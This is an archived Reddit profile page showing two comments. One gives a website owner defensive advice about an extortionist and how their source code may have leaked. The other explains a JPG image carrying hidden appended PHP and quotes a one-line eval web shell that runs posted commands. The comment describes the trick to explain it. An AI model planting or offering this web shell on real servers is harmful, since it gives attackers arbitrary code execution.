Skip to content

u/shaunc

In this archive from Jan 2010 to Feb 2021

0
posts
220
comments
0
media
828
score

Top comments

A white hat would have told you what the vulnerability is; you have an extortionist. Unfortunately there are any number of ways they could have gotten a look at your source.

  • A misconfigured httpd might be offering the files up for download instead of parsing them as PHP (even Facebook was hit by this some years ago and much of their source was leaked)

  • An arbitrary file inclusion bug might let someone abuse an "image serving" or "file downloader" script, making it display files it wasn't intended to

  • They could have a back door, perhaps entirely unrelated to PHP, giving them complete control over the entire site/server

Are you running WordPress? If so, ensure you have the latest version of WordPress as well as any plugins you're using. It's a huge vector for exploits. There's been a "Summer of Pwnage" project releasing new WordPress vulnerabilities almost daily for the last few months.

Check your httpd access logs. Start with the last 24 hours and look for

  • Weird query strings with unexpected parameters

  • Very long URLs

  • Large volumes of hits from single IPs

  • Requests for files that don't exist on your site

These are usually signs of automated scanning and can help narrow down the who/when/how.

How did they contact you? Is your email address located on a specific page of your website, like a "Contact Us" page? Or maybe they submitted a contact form? Look and see who accessed those pages today, then look for any other hits from those IP addresses to see what else they were poking around at.

Hopefully you can locate something suspicious and try to work backwards from there.

54 points

Fun thing about JPG files is that you can append a bit of garbage data (as far as the image decompression algorithm is concerned), and it will still render. At the very end of the hex data, there's this:

<?php @eval($_POST['cmd']);?>

So it displays the crappy JPG to the browser, but also executes whatever was posted in.

25 points

Subreddits

Keyboard shortcuts

Move and act

jork
Next / previous post or comment
Enteroro
Open the post
f
Open the media viewer
s
Save
h
Hide (the toast has Undo)
Tab
Right after an action: the toast's Undo
x
Collapse the comment
v
Next layout: cards, compact, grid

Go to

/
Search
gthenh
Home
gthena
All
gthens
Subreddits
gthenl
Library
?
This list
Esc
Close a menu or this list

In the viewer

←or→
Previous / next file
↑or↓
Previous / next post
korj
Previous / next post
Space
Play / pause
m
Mute
z
Zoom
s
Save
o
Open the post (on its own page: back to it)
Esc
Close

Keys do nothing while you type in a box.